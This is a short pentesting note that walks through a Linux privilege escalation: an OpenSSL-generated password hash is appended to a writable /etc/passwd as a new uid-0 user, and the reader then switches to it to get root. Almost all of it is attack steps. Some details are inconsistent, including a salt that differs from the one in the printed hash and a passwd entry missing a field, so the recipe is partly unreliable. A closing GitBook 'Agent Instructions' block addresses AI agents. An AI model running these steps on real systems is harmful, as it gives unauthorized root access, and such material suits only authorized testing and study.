> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/openssl-privesc.md).

# OpenSSL privesc

**#This privesc presupposes a low level ssh connection with the ability to edit /etc/passwd**

**1]From attacking machine create a unique ssl string for a new user: redcliff**

```
openssl passwd -1 -salt redlciff pass123  
 
$1$recliff$NuDUpbLxJXpyH5FN4yqix/
```

**2]From target**

```
ls -la /etc/passwd 

nano /etc/passwd
```

**3] Paste the hashed password for new user at the bottom.**

<mark style="color:red;">redcliff:</mark>$1$recliff$NuDUpbLxJXpyH5FN4yqix/<mark style="color:red;">:0:0:/root/root:/bin/bash</mark>

Parts highlighted in red need to be added separately.

**4]Save file and exit, then switch to new user**

```
su redcliff

pass: pass123

Root
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/openssl-privesc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
